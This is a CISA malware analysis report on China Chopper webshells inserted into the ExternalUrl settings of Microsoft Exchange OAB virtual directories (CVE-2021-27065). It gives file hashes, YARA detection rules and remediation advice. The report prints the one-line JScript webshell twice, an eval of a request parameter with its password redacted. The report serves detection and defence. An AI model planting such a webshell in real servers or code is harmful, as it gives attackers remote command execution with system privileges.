MAR-10328923-1.v1: China Chopper Webshell

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Description

CISA received two files for analysis. These files appear to contain configuration data for two different Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a single Microsoft Exchange Server. Both output files show malicious modifications for the ExternalUrl parameters for these two OAB VDs on the targeted Exchange Servers. In one of the OAB VDs, the ExternalUrl parameter contains a "China Chopper" webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server.

For a downloadable copy of IOCs, see: MAR-10328923-1.v1.stix.

Submitted Files (2)

1e0803ffc283dd04279bf3351b92614325e643564ed5b4004985eb0486bf44ee (discover.aspx)

c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5 (RedirSuiteServerProxy.aspx)

c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5

Tags

backdoortrojanwebshell

Details

Antivirus

YARA Rules

• rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Webshellz"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s1 = { 65 76 61 6C 28 }
  
         $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
         $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
     condition:
  
         $s0 or ($s1 and $s2) or ($s3 and $s4)
  
  }
• rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
  
         $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
  
         $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
  
     condition:
  
         $s0 and $s1 and $s2
  
  }

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in Internet Information Services (IIS) on Microsoft Exchange servers. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.



In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:



--Begin Code--

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>

--End Code--



Note: The hard-coded key used for authentication was redacted from the code above.



This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

1e0803ffc283dd04279bf3351b92614325e643564ed5b4004985eb0486bf44ee

Tags

backdoortrojanwebshell

Details

Antivirus

YARA Rules

• rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Webshellz"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s1 = { 65 76 61 6C 28 }
  
         $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
         $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
     condition:
  
         $s0 or ($s1 and $s2) or ($s3 and $s4)
  
  }
• rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
  
         $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
  
         $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
  
     condition:
  
         $s0 and $s1 and $s2
  
  }

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in IIS on Microsoft Exchange Servers. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.



In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been replaced with the following code:



---Begin Code---

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>

---End Code---



Note: The hard-coded key used for authentication was redacted from the code above.



This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
• Monitor users' web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

• 1-888-282-0870
• CISA Central (UNCLASS)
• CISA SIPR (SIPRNET)
• CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Central.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

• Web: https://malware.us-cert.gov
• E-Mail: submit@malware.us-cert.gov
• FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.